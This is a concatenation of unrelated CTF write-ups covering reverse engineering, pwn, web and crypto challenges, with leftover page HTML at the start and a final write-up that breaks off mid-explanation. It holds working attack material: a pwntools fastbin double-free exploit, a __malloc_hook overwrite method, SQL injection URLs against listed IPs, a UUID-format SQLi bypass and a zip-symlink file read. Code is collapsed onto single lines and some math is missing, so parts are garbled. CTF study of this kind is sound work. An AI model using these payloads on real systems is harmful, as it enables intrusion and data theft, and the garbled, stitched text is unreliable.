0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
Keygen======
**Category:** Reverse Engineering, **Points:** 200 + 20, **Solves:** 14 **Our rank:** 2
```Find the password if you can!```
### Write-up
In this challenge we are provided with an PE32 [executable](findpass) for Windows. First I loaded the binary in [exeinfo](http://exeinfo.atwebpages.com/).

As we can see the binary was probably written in C++. To verify this I ran `strings findpass | grep ios````$ strings findpass | grep iosiostreamiostream stream errorios_base::badbit setios_base::failbit setios_base::eofbit set.?AVios_base@std@@.?AV?$basic_ios@DU?$char_traits@D@std@@@std@@.?AVfailure@ios_base@std@@```At this point I was sure that we have a C++ binary. Unfortunately the binary was stripped and statically linked with the C++ runtime - we need to separate the C++ runtime from the important bits.```$ wine ./findpassEnter Password Please:1234567890
$ strings findpass | grep "Enter Password"```The string `Enter Password` was not present in the binary -> the string must be generated dynamically. To find the function responsible for displaying this string I loaded the binary in `Ollydbg` and stepped over the called functions until I saw the string displayed in the console. Then I repeated the debugging from the inside of the found function. By doing so we discover that `sub_406240` is the `main` of the binary. This function contains a lot of unused code to obfuscate the important bits. By stepping over the functions in main() we discover that `sub_409930` displays the searched string and `sub_403320` decrypts the string just before calling `sub_409930`. There are 2 calls to `sub_409930` in the binary -> the second call is inside an if statement. By jumping directly to the body of this if statement the string `Well done,Flag is md5 of input string.` is displayed. By using this information I determined that this string is displayed only if an array at `.data_456414` contains 5 ones. By searching for xrefs to this array I found 5 functions which set the fields of this array to 1 - `sub_404800`, `sub_405100`, `sub_405390`, `sub_405970`, `sub_405FA0`. After giving the C++ functions appropriate names the important bits of the main of the binary can be written in pseudocode as:```c++bool pass_ok[5] = {false, false, false, false, false};int main() //Simplified a lot a lot{ std::string user_input; std::cout << "Enter Password Please:\n"; std::cin >> user_input; char* tab[5] = split_input_by_spaces(user_input); run_check(sub_404800, tab[0]); run_check(sub_405100, tab[1]); run_check(sub_405390, tab[4]); run_check(sub_405970, tab[2]); run_check(sub_405FA0, tab[3]); if(all_true(pass_ok)) { std::cout << "Well done,Flag is md5 of input string."; }}```Each of the functions passed to `run_check` in pseudocode does the following:```c++void check(char* chunk) //Simplified a lot a lot{ if(compare(xor_cipher(hardcoded_key, chunk), hardcoded_values)) { pass_ok[check_id] = 1; }}```After reading off the hardcoded_key and hardcoded_values for each of the checks(stored in the binary as an std::string generated on the stack) and xoring them together we obtain the segments of the correct password. After concatenating them together in the right order we get `Flag: {HiBC NBG8L 965D LMSDF}`:```$ wine ./findpassEnter Password Please:Flag: {HiBC NBG8L 965D LMSDF}Well done,Flag is md5 of input string.$ echo -n "Flag: {HiBC NBG8L 965D LMSDF}" | md5sum9a55042d8cba49ef460ac8872eff0902```So the flag is `SharifCTF{9a55042d8cba49ef460ac8872eff0902}`
###### By [gorbak25](https://github.com/grzegorz225) <[email protected]>
|
t00p_secrets===
**Category:** Pwn, **Points:** 250, **Solves:** 17, **Rank:** 6
```Someone has designed this top secret management service for us. He was insisting on the term 't00p'. Could you please take a look and find out why?nc ctf.sharif.edu 22107Alternative: nc 213.233.161.38 22107```
## Writeup
We are provided with an 64 bit ELF [executable](t00p_secrets). After running `checksec --file t00p_secrets` we get:

After reverse engineering the binary we obtain the following pseudocode:
```cinitialize();while(1){ do authenticate(); while(!authenticated);
display_menu();
switch(get_option()) { case 1: create_a_secret(); break; case 2: delete_a_secret(); break; case 3: edit_a_secret(); break; case 4: print_all_secrets(); break; case 5: print_one_secret(); break; case 6: exit(0); break; case 7: change_authentication_key(); authenticated = 0; break; }}```
The binary first asks us to authenticate by providing an password - the correct answer is stored in an buffer in the .bss section - the binary initializes this buffer to the hardcoded string `wjigaep;r[jg]ahrg[es9hrg`. After authenticating we are provided with an secret storage interface. A secret is an storage buffer on the heap and can contain either binary data or an string. A pointer to the secret together with the size and the type(string or binary) of the secret are stored in an array in the .bss segment. We can create, delete, view and change a secret - this looks like an heap exploitation challenge. Indeed - the routine responsible for storing an user supplied string in an secret contains an off by one error which allows the null terminator of the string to be written exactly one byte after the end of the malloced region. This off by one error can be leveraged by the [House Of Einherjar](https://github.com/shellphish/how2heap/blob/master/house_of_einherjar.c) technique.
Although this is a viable solution the binary contains another vulnerability which allows for much easier exploitation. The secrets are indexed by their corresponding id - this allows the binary to store pointers to them in an global array in the .bss section. The create_secret, delete_secret and print_one_secret functions correctly check the bounds on the supplied secret id. The edit_a_secret function on the other hand does not check whether we supplied an valid id or an valid secret type. The pseudocode for the edit_a_secret function is:
```cvoid edit_a_secret(){ unsigned int id; scanf("%u%*c", &id;; if(secret_sizes[id] == -1) puts("No such secret!"); else { unsigned short type; scanf("%hu%*c", &type); if(secret_sizes[id] > 0) { load_secret_contents(secret_ptrs[id], secret_sizes[id], type); } secret_types[id] = type; //2 byte write }}```
The secret_ptrs, secret_sized and secret_types arrays each contain 7 entries. By providing an id bigger than 7 we can make an out of bounds read from these arrays. The .bss section is initialized to 0 which means that by providing a big enough id `secret_sizes[id]` will be 0 - this allows us to bypass the load_secret_contents function which would otherwise crash the program. This allows us to write 2 bytes at an big enough offset. It turns out that we are able to write at offsets bigger than ~20. Offsets from 28 to 32 correspond to `secret_sizes[5]` and offsets from 72 to 76 correspond to `secret_ptrs[5]`. This allows us to read and write to an arbitrary memory location by setting up these table entries and then executing the print_one_secret or edit_a_secret function.
PIE is disabled so we read the Global Offset Table. By using [libc-database](https://github.com/niklasb/libc-database) we locate the [libc](libc6_2.23-0ubuntu10_amd64.so) running on the remote system. Full RELRO is enabled so we cannot overwrite GOT entries to hijack flow control. As we know the base address of the libc we overwrite `__malloc_hook` with the address of a one shot gadget. I used the great tool [one-gadget](https://github.com/david942j/one_gadget) for finding such gadgets. After `__malloc_hook` was overwritten with an appropriate gadget we trigger the shell by creating a new secret. The exploit is [here](exploit.py)

The flag is `SharifCTF{R34V1L1NG_S3CR3T5_VI4_51NGL3_NULL_BY73}` which tells me that the challenge was intended to be solved by using [House Of Einherjar](https://github.com/shellphish/how2heap/blob/master/house_of_einherjar.c) - heh my solution works fine and no heap exploitation techniques required :)
###### By [gorbak25](https://github.com/grzegorz225) <[email protected]> |
Barnamak========
**Category:** Reverse Engineering, **Points:** 200, **Solves:** 67 **Our rank:** 13
```Run the application and capture the flag!```
### Write-up
In this challenge we are provided with an [android apk](Find_Flag.apk). I used [apkext](https://github.com/blukat29/apkext) to extract and decompile the application. While reading through the decompiled code I found this interesting bit of code:
```javaprivate static String iia(final int[] array, final String s) { String string = ""; for (int i = 0; i < array.length; ++i) { string += (char)(array[i] - 48 ^ s.charAt(i % (s.length() - 1))); } return string; }
...
public void onClick(final DialogInterface dialogInterface, int n) { if (c.a() || c.b() || c.c()) { //check if phone is not rooted and we are on the correct position n = (int)Math.round(ChallengeFragment.this.location.getLatitude()); final String access$100 = iia(new int[] { 162, 136, 133, 131, 68, 141, 119, 68, 169, 160, 49, 68, 171, 130, 68, 168, 139, 138, 131, 112, 141, 113, 128, 129 }, String.valueOf(n)); Toast.makeText(ChallengeFragment.this.getActivity().getBaseContext(), (CharSequence)access$100, 0).show(); ChallengeFragment.this.textViewLatitude1 = (TextView)ChallengeFragment.this.view.findViewById(2131558541); ChallengeFragment.this.textViewLatitude1.setText((CharSequence)access$100); System.exit(0); } }...```
Hmmm a xor cipher based on geolocation - what is the hardcoded location?
```javapublic boolean b() { boolean b = false; final int int1 = Integer.parseInt("2C", 16); final int int2 = Integer.parseInt("5B", 16); final int intValue = Integer.valueOf(int1); final int n = -Integer.valueOf(int2); if (this.location != null) { if ((int)this.location.getLatitude() != intValue + 1 || (int)this.location.getLongitude() != n - 2) { Toast.makeText(this.context, (CharSequence)this.getString(2131165228), 0).show(); return false; } ((Vibrator)this.context.getSystemService("vibrator")).hasVibrator(); Toast.makeText(this.context, (CharSequence)this.getString(2131165227), 0).show(); b = true; } return b; }```
So the app expects us to be at 45N 93W. Using these coordinates to decrypt the hardcoded string in the `onClick` handler we obtain `Flag is MD5 Of Longtiude````$ echo -n "-93" | md5sum87a20a335768a82441478f655afd95fe```So the flag is `SharifCTF{87a20a335768a82441478f655afd95fe}`
###### By [gorbak25](https://github.com/grzegorz225) <[email protected]> |
# Upload challenge writeup
**Category:** Web
**Description:**
> This is an useful service to unzip some files. We added a flag (flag located at XXX.XXX.XXX.XXX/flag.php) for your convenience.
## Solution write-up
By reading the source code of the page that is kindly given, or by uploading a test archive, we find that our files are uploaded in a generated directory itself located in /uploads/. We can also find that it will be deleted after 2 minutes but that is highly useless.
Obviously, when we try to upload a PHP script, the server won't execute it and we can only download it back. Same goes for python or bash scripts.
If we take an in-depth look at the (un)zip man page, we can read someting interesting about symbolic links>-y >--symlinks > For UNIX and VMS (V8.3 and later), store symbolic links as such in the zip archive, instead of compressing and storing the file referred to by the link. This can avoid multiple copies of files being included in the archive as zip recurses the directory trees and accesses files directly and by links.
It means that we can zip our link and upload it as such. Once on the server, it will then reference the file we made it point to. Since we know where the flag is, let's create a symlink that will point to it once locate in a /uploads/upl5a46c2d953811/ type directory.
```$ ln -s ../../flag.php zelda.link$ zip --symlink zelda.zip zelda.link```
Finally, we upload this archive and download back our `zelda.link` file, that actually contains the flag.php |
RichOil===
**Category:** Misc **Points:** 400 + 80 (first blood bonus), **Solves:** 1, **Our rank:** 1
> The profitable RichOil company has many competitors. Recently, RichOil tried to reinforce infrastructure of its communication system security by outsourcing the cryptosystem design to a cryptographer.> > Unfortunately, the cryptographer was hired by competitors to inject some intentional weakness in the system, for future exploits. They have recognized that the company’s financial audit lacks tax transparency. Also they have found some evidences in the weak-encrypted communications of the board of directors, with the help of the betrayer cryptographer.> > Now you should act in role of the betrayer cryptographer. Find the encrypted evidence. Captured pcap traffic, and the manipulated cryptographic library, named “tlsfuzzer”, are attached.
### Write-up
So, we are given a pcap file with SSL/TLS traffic. Upon quick inspection there is one peculiarity in the captured TLS handshake, namely random bytes sent by the client look ... a bit biased:

These bytes, together with random bytes sent back by the server, and a so called premaster secret, are used to compute a master secret which, in turn, is the source session/encryption keys are derived from ([TLS 1.1 specs](https://tools.ietf.org/html/rfc4346#section-8.1)). If we could find the value of the premaster secret for this particular session we would be able to decrypt the traffic. Luckily, we won't have to calculate the master secret and the decryption key by hand as Wireshark will do this for us automatically when given the premaster secret.
Normally, the premaster secret is chosen randomly by the client or both parties, i.e., the client and server, agree upon it using the Diffie-Hellman protocol. In either case, the premaster secret is not sent in plaintext. But we know there's some custom TLS implementation involved here so perhaps it contains some bug? We have no option other than lurking into the implementation details as we were unable to spot any glaring weaknesses in the captured traffic.
Googling for the "tlsfuzzer" phrase yields [a github project](https://github.com/tomato42/tlsfuzzer) under this name but the code differs significantly from the one we are provided with in the challenge. However, the same author has an earlier, currently unmaintained, version of this library in his profile. It's called [sslfuzzerpython](https://github.com/tomato42/sslfuzzerpython). Almost a perfect match! "Almost" means there are some differences reported by the diff tool. There are a few changed lines in the actual TLS suite implementation (`tls1_1API.py` script) but these are rather irrelevant. It is the change in constants.py script that makes it significant. The original sslfuzzerpython had default constant values for, e.g., the premaster secret, defined there. The modified version uses the following code for generating client random bytes and premaster secrets.
```python
p=0xffffffefg=2y=0x6da68bf4L
k=int(binascii.hexlify(os.urandom(32)), base=16)random=pow(g,k,p)random_str=hexTostring(str(hex(random))[2:])random_str=random_str.rjust(32,"@")
pmkey=pow(y,k,p)pmkey_str=hexTostring(str(hex(pmkey))[2:])pmkey_str=pmkey_str.rjust(46,"$")
DEFAULT_CH_CLIENT_RANDOM=random_strtls11CKEPMKey = chr(3)+chr(2)+pmkey_str
```
(The implementation of the `hexToString` function was skipped - it is basically just an elaborate version of the built-in string's method `.encode('hex')`).
We have to deal with some randomness here - 32 bytes are picked (pseudo-)randomly and then is raised to the th power modulo . The result is left-padded with `@`. Hence, the large number of leading `0x40` bytes we saw in the Client Hello message before. is also used to calculate the premaster secret we are looking for.
32 bytes - that's a lot of guessing but since both values are calculated it suffices to find modulo , i.e., modulo the order of the multiplicative group of integers modulo . And itself is very small (only four bytes long). We thus have a tiny instance of the discrete logarithm problem:
where `g = 2`, `r = 0xdb2ff015 = 3677351957` (trailing bytes of the client random bytes), `p = 0xffffffef = 4294967279`. It can be solved in no time using Sage - we get that .
Plugging this last value as `k` into the above script we find that hex encoded `tls11CKEPMKey`, aka the premaster key, was `0302242424242424242424242424242424242424242424242424242424242424242424242424242424242424caf0e6d2`. Sweet.
It remains to decrypt the traffic. As mentioned before, Wireshark can handle this tedious job for us. We can point Wireshark to a log file containing client random bytes and premaster secret:

We craft a file with the following content:
```PMS_CLIENT_RANDOM 40404040404040404040404040404040404040404040404040404040db2ff015 0302242424242424242424242424242424242424242424242424242424242424242424242424242424242424caf0e6d2```
and then ...

Hello, flag! |
we can use Euler phi function to generate seed. ( [http://wolframalpha.com/input/?i=Euler+phi+%284529255040439033800342855653030016000%29](http://wolframalpha.com/input/?i=Euler+phi+%284529255040439033800342855653030016000%29) )
[https://github.com/kimtruth/CTF-write-up/blob/master/2018/Harekaze/Fight/solve.py](https://github.com/kimtruth/CTF-write-up/blob/master/2018/Harekaze/Fight/solve.py) |
# ▼▼▼Sokosoko Secure Uploader(web:100)57/447=12.8%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
Descriptionこのサービス(http://problem.harekaze.com:10002/)を使ってファイルを暗号化しました。暗号化後のファイルを添付しましたが、UUID は誤って削除してしまいました。覚えているのは、この UUID が 9e5a から始まることだけです :(
I encrypted my file by using this service. Attachment is the encrypted file, but I accidentally deleted the UUID of the file. All I remember is the UUID starts with 9e5a :(
・flag.png.encrypted
・src.zip(ソースコード)
---
**1.機能の把握**
・Encryption
Sorry, this function is disabled.(無効化されている)
・Decryption
UUID入力と暗号ファイル送信する機能
---
**1.ソースコードを読んでいく**
decrypt.phpを確認する。
↓
``` 10000) { die('uploaded file is too large');}
if (!isset($_POST['uuid']) || empty($_POST['uuid'])) { die('no UUID was provided');}
$uuid = $_POST['uuid'];if (!is_string($uuid) || !is_uuid($uuid)) { die('invalid UUID');}
$data = file_get_contents($_FILES['file']['tmp_name']);
$pdo = new PDO('sqlite:key.db');$stmt = $pdo->query("SELECT key FROM decryption_key WHERE id = '$uuid'");$res = $stmt->fetch();
if ($res === false) { die('key not found');}
$filename = basename($_FILES['file']['name'], '.encrypted');$decrypted = arcfour($data, $res['key']);header('Content-Disposition: attachment; filename="' . $filename . '";');header('Content-Length: ' . strlen($decrypted));header('Content-Type: application/force-download');echo $decrypted;```
↓
```$stmt = $pdo->query("SELECT key FROM decryption_key WHERE id = '$uuid'");```
↓
入力値である、uuidでSQLインジェクション可能。
---
SQL文に挿入される前に、下記でuuidのバリデーションチェックがなされる。
↓
```$uuid = $_POST['uuid'];if (!is_string($uuid) || !is_uuid($uuid)) { die('invalid UUID');}```
↓
UUIDは文字であること。UUIDのフォーマットに沿っていること。
---
そのUUIDのフォーマットはfunctions.phpを確認すると下記になる。
↓
functions.php
```function is_uuid($str) { if (strlen($str) !== 36) { return false; } if ($str[8] !== '-' or $str[13] !== '-' or $str[18] !== '-' or $str[23] !== '-') { return false; } return true;}```
↓下記のように`-`の位置が合っていればチェックを抜けられる。
`xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx`
---
フォーマットに沿ってSQLインジェクションすればよい。
UUIDの始めの文字は`9e5a`として与えられるので、そのUUIDをSQLインジェクションで取得できればよい。
↓
uuid=`'or id/*----------------*/LIKE'9e5a%`
---
これを暗号化されたファイルと共に、サーバに送信すると暗号解読されたpng画像が得られる。
↓
`HarekazeCTF{k41k4n_j1kk4n_j1n615uk4n}` |
Author: h3rcul35```from pwn import *
def add(size,name,verbose=0): p.sendline("1") p.sendline(str(size)) p.send(str(name)) if verbose==0: p.recvuntil("Addr: ") else: print p.recvuntil("Addr: ") return p.recv(7).strip("\n")
def delete(addr): p.sendline("2") p.sendline(str(addr)) p.recv()
#p=process('./flea_attack.elf')p=remote('problem.harekaze.com',20175)p.recv()comment="A"*94comment+=p8(0x71)
p.sendline(comment)p.recv()
chunk1=add(96,"aaaa")chunk2=add(96,"bbbb")add(96,"cccc")flag=0x204056
print "[+] Flag is at "+hex(flag)print "[+] Chunk 1 is at 0x"+chunk1print "[+] Chunk 2 is at 0x"+chunk2
delete(chunk1)delete(chunk2)delete(chunk1)
add(96,p64(flag))add(96,"AAAA")add(96,"BBBB")#raw_input(str(p.proc.pid))p.interactive()#1#96#AAAAAAAAAAAAAAAAAAAAAAAAAA ("A"*26)``` |
Link to chall: http://35.200.197.38:8016/
On a first glance, the site looked like cryptocurrency trading website. But there was no option for loading our wallet or performing any kind of transactions. There were only a few listed transactions. Also no robots.txt, sitemap.xml (solution for web200) or .git directory were present.
Next, we analyzed headers and cookies, found nothing very interesting other than session cookies. Next thought of checking file source and came across some commented js scripts. Some of them when tried to access returned 400. But, when going through all those js files, helpers.js had a function `api_EditSignatures` having a commented out [link to gist file](https://gist.github.com/arush15june/f337386ff4b7de2461de11c79bfe49e8).
helpers.js:```helpers.js
var canvas = document.getElementById("gameCanv");var Screen = canvas.getContext("2d"); canvas.width = (window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth)*0.95;canvas.height = (window.innerHeight || document.documentElement.clientHeight || document.body.clientHeight)*0.95;
//Misc./Component Varsvar scoreColor = "#BBB";var scoreSize = 120;var scoreFamily = "Monospace";var scoreP1 = {'x' : 10 ,'y': canvas.height-20,'text' : 0,'color' : scoreColor,'size' : scoreSize,'family' : scoreFamily,'paddle' : paddle1};var scoreP2 = {'x' : canvas.width-100,'y':canvas.height-20,'text' : 0,'color' : scoreColor,'size' : scoreSize,'family' : scoreFamily,'paddle' : paddle2};var divider = {'x' : canvas.width/2-5,'y' : 0,'width' : 10,'height' : canvas.height,'color' : '#888'};var titleText = {'x' : 30,'y' : 65 ,'text' : 'JSPong for Two','size' : 65,'color' : '#888','family' : 'Monospace'};var startButton = {'width': 500,'height' : 120, 'x' : canvas.width/2-250,'y' : canvas.height/2-100,'color' : '#AAA','clicked' : false};startButton.buttonText = {'size': 120,'color' : '#FFF','x': startButton.x+startButton.width*0.1,'y' : startButton.y+startButton.height*0.8,'text' : 'START!','family' : 'Monospace' };var creditsButton = {'width': 340,'height' : 100, 'x' : 10,'y' : canvas.height-110,'color' : '#AAA','clicked' : false};creditsButton.buttonText = {'size': 80,'color' : '#FFF','x' : creditsButton.x+creditsButton.width*0.01 ,'y' : creditsButton.y+creditsButton.height*0.8,'text' : 'Credits','family' : 'Monospace' };var authorText = {'x' : canvas.width*(2/3),'y' : canvas.height-30 ,'text' : 'A Game by chargE','size' : 65,'color' : '#888','family' : 'Monospace'};var buttons = [startButton,creditsButton];
var mouseClicked = false;
//Paddle Info Varsvar paddleHeight = 100;var paddleWidth = 15;var paddleMargin = 4;var paddleSpeedY = 10;var paddleColor = '#ddd';
//Puck Info Varsvar puckStartX = canvas.width/2;var puckStartY = canvas.height/2;var puckRadius = 20;var puckSpeedX = Math.pow(-1,Math.floor(Math.random() * 10))*5;var puckSpeedY = Math.pow(-1,Math.floor(Math.random() * 10))*5;
//Game Object Varsvar paddle1 = {'width' : paddleWidth,'height' : paddleHeight,'speedY' : paddleSpeedY, 'x' : 0+paddleMargin, 'y' : canvas.height/2-paddleHeight/2,'color' : paddleColor,'upPressed' : false,'downPressed' : false};var paddle2 = {'width' : paddleWidth,'height' : paddleHeight,'speedY' : paddleSpeedY, 'x' : canvas.width-paddleWidth-paddleMargin, 'y' : canvas.height/2-paddleHeight/2,'color' : paddleColor,'upPressed' : false,'downPressed' : false};var puck = {'radius' : puckRadius,'x' : canvas.width/2,'y' : canvas.height/2,'speedX' : puckSpeedX,'speedY' : puckSpeedY,'color' : '#FFF'};
//Event Listeners
document.addEventListener("keydown", keyDownHandler, false);document.addEventListener("keyup", keyUpHandler, false);document.addEventListener("mousedown",function() { mouseClicked = true;} ,false);document.addEventListener("mouseup",function() { mouseClicked = false;} ,false);document.addEventListener("mousemove",mouseClickHandler, false);
function keyDownHandler(e) { if(e.keyCode == 38) { paddle1.upPressed = true; } else if(e.keyCode == 40) { paddle1.downPressed = true; } if(e.keyCode == 87) { paddle2.upPressed = true; } if(e.keyCode == 83) { paddle2.downPressed = true; }}
function keyUpHandler(e) { if(e.keyCode == 38) { paddle1.upPressed = false; } else if(e.keyCode == 40) { paddle1.downPressed = false; } if(e.keyCode == 87) { paddle2.upPressed = false; } else if(e.keyCode == 83) { paddle2.downPressed = false; }}
function mouseClickHandler(e) { var relativeX = e.clientX-canvas.offsetLeft; var relativeY = e.clientY-canvas.offsetTop; if(mouseClicked === true) { for(i = 0;i<buttons.length;i++) { checkButtonClicked(buttons[i],relativeX,relativeY); } }}
//BACKGROUND,HUD,MISCfunction drawDivider(divider) { Screen.beginPath(); Screen.rect(divider.x,divider.y,divider.width,divider.height); Screen.fillStyle = divider.color; Screen.fill(); Screen.closePath();}
function drawText(text) { Screen.font = text.size+"px "+text.family; Screen.fillStyle = text.color; Screen.fillText(text.text,text.x,text.y); }
function drawButton(button) { drawRect(button); drawText(button.buttonText);}
function drawGameBackground() { drawText(titleText); drawDivider(divider); drawText(scoreP1); drawText(scoreP2);} function api_EditSignatures(): // follow snippet: https://gist.github.com/arush15june/f337386ff4b7de2461de11c79bfe49e8 return 0;
function checkButtonClicked(button,mouseX,mouseY) { console.log(button.x+" "+(button.x+button.width)+" "+button.y+" "+(button.y+button.height)+" "+mouseX+" "+mouseY+" "+button.clicked); if((mouseX >= button.x && mouseX <= button.x+button.width) && (mouseY >= button.y && mouseY <= button.y+button.height)) { button.clicked = true; } else { button.clicked = false; }
}
function drawMenuBackground () { Screen.clearRect(0,0,canvas.width,canvas.height); drawText(titleText); drawButton(startButton); drawButton(creditsButton); drawText(authorText); }
function drawCredits() { Screen.clearRect(0,0,canvas.width,canvas.height); drawText(creditText); drawText(titleText); drawText(authorText);}
function sleep(milliseconds) { var start = new Date().getTime(); for (var i = 0; i < 1e7; i++) { if ((new Date().getTime() - start) > milliseconds){ break; } }}
function debugVars() { console.log("paddle1 : x = "+paddle1.x+" y = "+paddle1.y); console.log("paddle2 : x = "+paddle1.x+" y = "+paddle2.y); console.log("puck : x = "+puck.x+" y = "+puck.y);}
//GAME OBJECTSfunction drawRect(paddle) { Screen.beginPath(); Screen.rect(paddle.x,paddle.y,paddle.width,paddle.height); Screen.fillStyle = paddle.color; Screen.fill(); Screen.closePath();}
function drawArc(circ) { Screen.beginPath(); Screen.arc(circ.x,circ.y,circ.radius,0,Math.PI*2); Screen.fillStyle = circ.color; Screen.fill(); Screen.closePath(); }
function ballReset(puck) { puck.x = puckStartX; puck.y = puckStartY; puck.speedX = -puck.speedX;}
//Movement and Collisionfunction checkPaddle(paddle) { if(paddle.upPressed == true && paddle.y >= 10) { paddle.y -= paddle.speedY; } else if(paddle.downPressed == true && paddle.y+paddle.height+10 <= canvas.height) { paddle.y += paddle.speedY; }}function movePuck(puck) { puck.x += puck.speedX; puck.y += puck.speedY;}
function collideBoundsPuck(ball) { if(ball.y+ball.radius >= canvas.height || ball.y-ball.radius <= 0) { ball.speedY = -ball.speedY; } }
function collidePuckPaddle(puck,paddle) { if(paddle.x <= canvas.width/3) { if((puck.x-puck.radius <= paddle.x+paddle.width && puck.x-puck.radius >= paddle.x) && (puck.y >= paddle.y && puck.y+puck.radius <=paddle.y+paddle.height) ) { puck.speedX = -puck.speedX; if(puck.y >= paddle.y && puck.y+puck.radius <=paddle.y+paddle.height/3) { puck.speedY = -puck.speedY; } } } if(paddle.x >= canvas.width*(2/3)) { if((puck.x+puck.radius >= paddle.x && puck.x+puck.radius <= paddle.x+paddle.width) && (puck.y >= paddle.y && puck.y+puck.radius <=paddle.y+paddle.height)) { puck.speedX = -puck.speedX; if(puck.y >= paddle.y && puck.y+puck.radius <=paddle.y+paddle.height/3) { puck.speedY = -puck.speedY; } } }}
function scoreUpdate(ball,scoreP,paddle) { if(paddle.x < canvas.width/3) { if(ball.x+ball.radius < paddle.x) { scoreP.text += 1; ballReset(puck); sleep(500); } } if(paddle.x > canvas.width*(2/3)) { if(ball.x-ball.radius > paddle.x+paddle.width) { scoreP.text += 1; ballReset(puck); sleep(500); } }} //SCREEN UPDATE
function drawScreen() {
Screen.clearRect(0,0,canvas.width,canvas.height); drawGameBackground(); drawRect(paddle1); drawRect(paddle2); drawArc(puck); checkPaddle(paddle1); checkPaddle(paddle2); movePuck(puck); collideBoundsPuck(puck); collidePuckPaddle(puck,paddle1); collidePuckPaddle(puck,paddle2); scoreUpdate(puck,scoreP1,paddle1); scoreUpdate(puck,scoreP2,paddle2); //debugVars(); requestAnimationFrame(drawScreen);}
function drawMenu() {
drawMenuBackground(); if(startButton.clicked === true) { drawScreen(); return; } else if(creditsButton.clicked === true) { drawCredits(); } requestAnimationFrame(drawMenu);}
drawMenu();```
After finding gist file it was kind of easy to solve the chall. Python script there was meant to update transactions (though we weren't able to add any new transactions). And the APIKEY required can be found in the older commits. So next task was to send patch request to update transactions with our wallet signatures. When we sent the request it redirected to the login page. So we also need to send our session cookies. The part where we struggled most was that server was returning 500 even after sending cookies. We weren't able to think of any mistake in our script. We tried sending empty JSON object(`{}`) and received 200 status. So opened that transaction to just find it with no signatures assigned. So we deduced that our JSON payload was incorrect.
Finally, it happens to be that server is very strict about JSON syntax. We need to use the double quote instead of the single quote while sending JSON payload in patch request.
solution.py:```solution.pyimport requests
base = 'http://35.231.8.67:8016/' # <base url>uri = 'transaction/'uuid = 'a31066e346584ff0ae0845e05590ce40' # <Transaction UUID># uuid = '0f1ab8f8491b482291d3d6ac7925204f'
data = {"signatures": ["first-wallet-signature-xxxxxxxxx","second-wallet-signature-xxxxxxxx","third-wallet-signature-xxxxxxxxx"]}
APIKEY = "a3e419378b514f2db99c4d00a1a5fcd9"
auth_cookies = {}auth_cookies['session']='session-cookie-here'auth_cookies['remember_token']='remember-token-cookie-here'
req = requests.patch(base+uri+uuid+"?APIKEY="+APIKEY,json=data,allow_redirects=False,cookies=auth_cookies)
print(req.status_code)print(req.headers)print(req.text)``` |
This chanllage is a typical CMS source code audit. Accordind to source code, flag is in ``{table_prefix}flag.{blind_column}4``, but ``{table_prefix}`` and ``{blind_column}`` is unknown. This cms don't use pre-compiled technology, but use addslash and blacklist. After looking at source code, I found the ``action_search()`` in ``Board.class.php`` is weird, seems we can inject via ``search`` as below
```http://13.125.3.183/index.php?act=board&mid=search&col=title%23&type=1&search=test%0a)%23```
With this payload, ``\n`` will trigger a syntax error, then we try to use ``mysql`` db to get ``{table_prefix}``.
```http://13.125.3.183/index.php?act=board&mid=search&col=title%23&type=1&search=test%0a)%3C0%20union%20select%201,(select%20table_name%20from%20mysql.innodb_table_stats%20limit%202,1),3,4,5%23```
At last, we can use ``join`` to get flag.
```http://13.125.3.183/index.php?act=board&mid=search&col=title%23&type=1&search=test%0A)%3C0%20union%20(select%201,t.*%20from%20mysql.user%20join%2041786c497656426a6149_flag%20t)%23``` |
# nohtyp1 challenge writeup
**Category:** Crypto
**Description:**
> We love snakes.
> [Linked program](./nohtyp1.py)
> Hints:```$ cat flag | md5sum5a76c600c2ca0f179b643a4fcd4bc7ac```
## Solution write-up
Since the script is obfuscated, we should try at first to reorganize it to understand what is does.
```python____=input;__________________=print;___________=____();_________=map;__________=ord;_______________=zip;____________________________=list;___=21;_____=lambda ______,_______:______+(_______^___);
______________={not not not ___ and not not ___:lambda:__________________('\x41\x6c\x6d\x6f\x73\x74\x21\x21'),not not ___ and not not ___:lambda:__________________('\x43\x6f\x72\x72\x65\x63\x74\x21')};
______________[[_____(*________) for ________ in _______________(____________________________(_________(__________,___________)),____________________________(_________(__________,___________))[::-1])][::-1]==[160,155,208,160,190,215,237,134,210,126,212,222,224,238,128,240,164,213,183,192,162,178,163,162] and 'mo4r' in ___________ and '34C3_' in ___________ and ___________.split('_')[3] == 'tzzzz']()```
Apparently, it is renaming some functions with non-readable names and then applying them to some values. Next, we have to rename everything so as to understand what is actually happening here.
```python#____=input; (4)#__________________=print; (18)#___________=input(); (11)#_________=map; (9)#__________=ord; (10)#_______________=zip; (15)#____________________________=list; (28)#___=21; (3)#olol = _____ (5)#correct = ______________ (14)
data = input();olol = lambda a,b : a+(b^21);
correct = {False: lambda: print('Almost!!'), True: lambda: print('Correct!')};
correct[[olol(*a) for a in zip(list(map(ord,data)), list(map(ord,data))[::-1])][::-1]== [160,155,208,160,190,215,237,134,210,126,212,222,224,238,128,240,164,213,183,192,162,178,163,162] and 'mo4r' in data and '34C3_' in data and data.split('_')[3] == 'tzzzz']()```
The `correct` function will print if the given password was correct or not depending on how the boolean expression given as a parameter will evaluate. We can break the expression down into two different conditions :
```pythonolol(*a) for a in zip(list(map(ord,data)), list(map(ord,data))[::-1])][::-1] == [160,155,208,160,190,215,237,134,210,126,212,222,224,238,128,240,164,213,183,192,162,178,163,162]```The data encrypted with the `olol` function must be equal to this array. We'll explore later how exactlty is the encryption done.
